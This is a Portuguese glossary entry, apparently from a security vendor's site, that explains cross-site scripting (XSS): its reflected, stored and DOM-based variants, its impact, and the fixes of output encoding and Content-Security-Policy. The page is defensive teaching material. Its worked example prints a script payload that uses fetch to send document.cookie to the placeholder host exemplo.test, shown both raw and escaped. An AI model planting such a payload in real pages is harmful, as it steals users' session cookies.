Glossário

XSS

Cross-Site Scripting

Vulnerabilidade de aplicações web em que conteúdo enviado por um usuário é inserido em uma página sem tratamento e passa a ser executado como código no navegador de quem a visita, com a sessão dessa pessoa.

Classe
Injeção no navegador, CWE-79
Variantes
Refletido, armazenado e baseado em DOM
Correção
Tratamento de saída por contexto e Content-Security-Policy
Referência
OWASP Top 10, categoria de injeção
Definição

O que XSS significa

5 parágrafos · 2 min de leitura

XSS (Cross-Site Scripting) é uma classe de vulnerabilidade de aplicações web em que conteúdo enviado por um usuário é inserido em uma página sem o tratamento adequado e passa a ser interpretado pelo navegador como código, e não como texto. O código executa no navegador de quem visita a página, com a sessão e as permissões dessa pessoa. A classe é catalogada como CWE-79 e integra a categoria de injeção do OWASP Top 10.

Há três variantes, definidas por onde o conteúdo injetado vive. No XSS refletido, o conteúdo vem de um parâmetro da requisição, como um campo de busca na URL, e é devolvido na resposta da mesma requisição; a vítima precisa abrir um link preparado. No XSS armazenado, o conteúdo é gravado pela aplicação, em um comentário, um perfil ou um chamado, e servido a todos que acessam a página depois. No XSS baseado em DOM, a inserção acontece no próprio navegador, por código JavaScript da página que lê um valor da URL ou de outra fonte e o escreve no documento sem tratamento.

O que o código injetado consegue fazer é o que a página consegue fazer: ler o conteúdo exibido, enviar requisições em nome do usuário, capturar o que é digitado em formulários, ler cookies que não estejam marcados como HttpOnly e redirecionar para outros endereços. Em aplicações que tratam dados pessoais, uma falha desse tipo compromete as medidas técnicas de segurança exigidas pelo artigo 46 da LGPD.

A correção principal é tratar a saída conforme o contexto em que o conteúdo é inserido: HTML, atributo, JavaScript ou URL exigem transformações diferentes, e frameworks modernos fazem isso por padrão quando usados sem as funções que desativam o tratamento. A Content-Security-Policy é a segunda camada: uma política que restringe as origens de script impede que o código injetado seja executado mesmo quando a injeção existe. Cookies com HttpOnly limitam o que pode ser lido.

Como cada funcionalidade nova pode reintroduzir a falha, o teste precisa ser contínuo. O cidguard testa XSS nos ativos expostos a cada ciclo, com cargas de verificação que não alteram dados, e registra o achado com o parâmetro afetado, a evidência e o controle de compliance correspondente.

Variantes

As três variantes

O que muda entre elas é onde o conteúdo injetado vive e quem o executa. A correção é a mesma nas três: tratar o conteúdo antes de inseri-lo na página.
VarianteDe onde vem o conteúdoOnde é inseridoQuem é atingido
RefletidoDa própria requisição: um parâmetro da URL ou de um formulário.Na resposta da mesma requisição, pelo servidor.Quem abre um link preparado.
ArmazenadoDe um envio anterior, gravado pela aplicação: comentário, perfil, chamado.Em toda página que exibe o conteúdo gravado, pelo servidor.Todas as pessoas que acessam a página.
Baseado em DOMDe uma fonte lida pelo JavaScript da página: URL, fragmento, armazenamento local.No documento, pelo próprio navegador, sem passar pelo servidor.Quem abre um link preparado.
Tratamento

A mesma entrada, com e sem tratamento

O tratamento de saída converte os caracteres que o navegador interpretaria como HTML em texto. O conteúdo aparece na tela como foi digitado e nada é executado.

O que o usuário envia no campo de comentário<script>fetch("https://exemplo.test/?c=" + document.cookie)</script>
Sem tratamento
<p>Comentário: <script>fetch("https://exemplo.test/?c=" + document.cookie)</script></p>
✕

O navegador executa o script. Os cookies da sessão são enviados a outro domínio.

Com tratamento de saída
<p>Comentário: &lt;script&gt;fetch(&quot;https://exemplo.test/?c=&quot; + document.cookie)&lt;/script&gt;</p>
✓

O navegador exibe o texto como foi digitado. Nada é executado.

A Content-Security-Policy é a segunda camada: com script-src restrito às origens da aplicação, o script não executaria nem no primeiro caso.

Continue por aqui

Termos e páginas relacionados